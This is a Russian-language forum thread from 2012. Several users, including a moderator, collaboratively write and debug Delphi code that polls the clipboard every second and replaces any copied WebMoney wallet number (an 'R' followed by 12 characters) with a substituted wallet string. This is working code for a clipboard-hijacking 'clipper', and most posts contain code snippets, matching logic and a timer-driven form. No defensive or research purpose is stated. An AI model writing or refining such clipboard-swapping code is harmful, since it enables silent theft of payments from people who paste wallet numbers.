вот держи пока не полностью доработанный пример, но от этого уже можно плясать дальше, щас нарою про значения перепишу и выложу уже готовый исходник, задумка у тебя хорошая, идея мне нравится, попробую написать... в данном первом исходнике нет проверки на первые числа, то есть если в буфере конкретно "123" то он тебе будет заменять на "test2", а если в буфере "123 4567" или что то другое отличное от "123" то замены не будет, щас найду свои прошлые наработки перепишу проверку так как ты хочешь...
Можно было бы сделать проверку на длину, все WM кошельки состоят из 13 символов (вместе с R).
а если пользователь будет вводить любую другую фигню кроме R или кроме Z или E или G, для других кошельков...
вобщем вот доделал код, пробуй, тестируй, разбирайся, я думаю под себя без проблем переделаешь
в этом исходнике происходит проверка по тем символам которые ты указал в:
Code
procedure TForm1.Timer1Timer(Sender: TObject); var s: String; begin s:= '123'; //вот тут указываются твои символы по которым будет проверка CompareItems(s, ClipBoard.AsText); end;
и если у пользователя в буфере обмена будут эти символы и что либо ещё после них то буфер обмена заменится на "test2" например если пользователь в буфер обмена копирует "1" или "12" или "124" и др., то буфер не заменится, а если в буфере будет "123" или "1234" или "123ldsfkjsldfjsldfkj" то буфер заменится на "test2"
PS: таймер стоит на 1 сек., меняй как тебе будет удобней, можно и без таймера попробовать переписать, но это уже другая история)))
Единственное что я не добавил, так это работу с русскими символами и какими либо другими символами кроме латиницы и цыфр, то есть не факт что с русскими символами в буфере обмена будет работать, ибо я это не проверял...
вот немного переделал с использованием проверки по количеству символов которую ты указал:
Code
if length(ClipBoard.AsText)=13 then ClipBoard.SetTextBuf('Ваш кошелек');
теперь в исходнике проставлено количество символов "13" это включая "R" а в самой программе в поле "значение для сравнения" прописываются символы которые будут сравниваться, так как сам номер кошелька тебе может быть не известен то за значение берется только первый символ "R" а все последующие сравниваться не будут, их просто должно быть 12 не больше не меньше, иначе буфер не заменится... ПРИМЕР: если номер кошелька в буфере выглядит так "R123456789100" (то есть "R+12 символов") то буфер изменится, а если хоть на 1 символ больше или меньше, то замены не произойдет, вобщем как то так.
Дата: Понедельник, 16.07.2012, 09:56 | Сообщение # 13
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (artemuk)
Люди, чем вам стандартные функции для работы со строками не угодили? решается так:
Code
if (Pos('R',ClipBoard.AsText) > 0) and (Length(ClipBoard.AsText) = 13) then ClipBoard.SetTextBuf('test');
в твоем примере не зависит где будет стоять "R" первым символом или вобще в середине или даже в конце, все равно сработает так как "R" > 0 тогда мржно конечно сделать так:
Code
if (Pos('R',ClipBoard.AsText) = 1) and (Length(ClipBoard.AsText) = 13) then ClipBoard.SetTextBuf('test');
да для замены номера кошелька так конечно проще и этого было бы достаточно, но если нам например понадобится проверять не 1 первый символ, а к примеру первые 3 или 5 или даже 25 символов, зачем нам тогда расписывать по несколько раз одни и те же строки, в любом случае понадобиться функция или процедура, не так ли?
Сообщение отредактировал xXxSh@dowxXx - Понедельник, 16.07.2012, 10:15
Дата: Понедельник, 16.07.2012, 22:17 | Сообщение # 14
Был не раз
Зарегистрирован: 31.05.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline
Quote (xXxSh@dowxXx)
твоем примере не зависит где будет стоять "R" первым символом или вобще в середине или даже в конце, все равно сработает так как "R" > 0 тогда мржно конечно сделать так:
Этот кусок кода ответ на это:
Quote (DarkPony)
Но я не знаю как реализовать проверку. Если в буфере обмена текст: R и более одного числа, то подменяем содержание.
Т.е я хотел показать какие существуют способы решения этой проблемы, и чем они различаютя. А самое простое и разумное решение(на мой взгляд):
Code
if (ClipBoard.AsText[1] = 'R') and (Length(ClipBoard.AsText) = 13) then ClipBoard.SetTextBuf('test');
Quote (xXxSh@dowxXx)
да для замены номера кошелька так конечно проще и этого было бы достаточно, но если нам например понадобится проверять не 1 первый символ, а к примеру первые 3 или 5 или даже 25 символов, зачем нам тогда расписывать по несколько раз одни и те же строки, в любом случае понадобиться функция или процедура, не так ли?
В принципе, даже если нам нужно проверить даже первые 25 символов, всё равно можно обойтись фунцкией Pos:
Code
var s:string; begin s:='Первые 25 символов строки|тут остальная часть'; if Pos('Первые 25 символов строки',s) = 1 then //Строка содержит эти 25 символов и они стоят в начале строки else //Строка не содержит этих 25 символов или они не стоят в начале строки
В принципе, даже если нам нужно проверить даже первые 25 символов, всё равно можно обойтись фунцкией Pos
Да, точно, тут ты прав, держи +
Только вот подскажите теперь как сделать ту же самую проверку но наоборот, с последнего символа, то есть с конца строки, например что бы из всей большой строчки проверялись только к примеру последние 5 символов? знаю что есть:
Code
Length(S);
но это отвечает только за последний 1 символ, как быть?
PS: Все уже разобрался сам, вопрос закрыт! Всем большое спасибо за участие в обсуждении темы
Сообщение отредактировал xXxSh@dowxXx - Вторник, 17.07.2012, 22:52
procedure TForm1.Button3Click(Sender: TObject); begin a := ClipBoard.AsText; b := Edit1.Text; d := Length(b); n := Length(ClipBoard.AsText); r := (n - d); if n > d then begin if pos(b, a) = (r + 1) then begin ClipBoard.SetTextBuf('test'); end; end; end;
я пытался понять, но так и не понял, может быть в событие "ButtonClick" такие методы нельзя использовать?
PS: Все вопрос закрыт! Я нашел свою ошибку, всем спасибо
Забавно, сам спрашиваю и сам же на свои вопросы и отвечаю
Сообщение отредактировал xXxSh@dowxXx - Четверг, 19.07.2012, 11:35
а ты попробуй копировать в буфер строку, к примеру:
"1234567890456" при условии что проверочное значение будет "456" и тогда в данном коде
Code
pos(b, a) = (r + 1)
никогда не будет равно, думаю не сложно догадаться почему
этот код бы подошел для поиска первого значения во всей строке буфера, а мне нужно было найти последнее значение, поэтому нужно было чуть чуть подредактировать код, в принципе можно сделать в одной программе поиск всех значений по тексту, как самого первого, так и последующих...
PS: Я код уже переписал, если кому интересно, могу выложить
Сообщение отредактировал xXxSh@dowxXx - Четверг, 19.07.2012, 17:42
var Form1: TForm1; a, b: String; p,s,n,r,d: Integer;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject); begin a:= ClipBoard.AsText; b:= Edit1.Text; d:= Length(b); n:= Length(ClipBoard.AsText); r:= (n - d); s:= (r + 1); p:= PosEx(b, a, r); Edit2.Text:= IntToStr(n); Edit3.Text:= IntToStr(r); Edit4.Text:= IntToStr(p); Edit5.Text:= IntToStr(s); if (n > d) and (p = s) then ClipBoard.SetTextBuf('test'); end;
procedure TForm1.Button1Click(Sender: TObject); begin if Button1.Tag = 1 then begin Timer1.Interval:= 0; Button1.Caption:= 'Start'; Button1.Tag:= 0; end else begin Timer1.Interval:= 1000; Button1.Caption:= 'Stop'; Button1.Tag:= 1; end; end; end.
в принципе поля "Edit" были добавлены только для проверки работоспособности, от них ничего не зависит и их можно смело убрать, за исключением "Edit1" конечно
Сообщение отредактировал xXxSh@dowxXx - Пятница, 20.07.2012, 08:36